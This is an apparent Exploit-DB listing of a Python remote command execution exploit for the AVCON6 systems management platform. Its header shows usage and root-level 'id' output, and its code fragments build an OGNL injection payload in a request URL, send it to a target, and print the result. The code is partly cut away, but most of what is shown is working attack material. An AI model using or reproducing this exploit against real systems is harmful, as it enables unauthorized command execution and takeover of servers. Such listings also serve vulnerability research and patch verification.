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AVCON6 systems management platform - OGNL Remote Command Execution

EDB-ID:

47379

CVE:

N/A

EDB Verified: ✘**Author:**[NASSIM ASRIR](#)**Type:**[WEBAPPS](#)**Exploit:**   / **Cookiebot**
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```
# Exploit Title: AVCON6 systems management platform - OGNL - Remote root
command execution
# Date: 10/09/2018
# Exploit Author: Nassim Asrir
# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-
b73a57122/
# CVE: N\A
# Tested On: Windows 10(64bit) / 61.0b12 (64-bit)
# Thanks to: Otmane Aarab
# Example below:
# python ./rce.py http://server:8080/ id
# Testing Target: http://server:8080/
# uid=0(root) gid=0(root)
# Vendor: http://www.epross.com/
# About the product: The AVCON6 video conferencing system is the most
complete set of systems, including multi-screen multi-split screens and
systems that are integrated with H323/SIP protocol devices. High-end video
conferencing
# software ideal for Room Base environments and performance requirements.
Multi-party video conferencing can connect thousands of people at the same
time.
# I am not responsible for any wrong use.
#####
```


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```
'get(%2/com.opensymphony.xwork2.dispatcher.HttpServletResponse%2/),
payload += '%23matt.getWriter().println(%23e),%23matt.'
payload += 'getWriter().flush(),%23matt.getWriter()'
payload += '.close()}'

try:
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:45.0) Gecko/20100101 Firefox/45.0'}
    request = urllib2.Request(url+payload, headers=headers)
    page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
    page = e.partial

print(page)
return page

if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py http://target/ id")
    else:
        print('[*] Avcon6-Preauh-Remote Command Execution')
        url = sys.argv[1]
```

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```
cmd = sys.argv[2]
print("[*] Executed Command: %s\n" % cmd)
print("[*] Target: %s\n" % url)
exploit(url, cmd)
```

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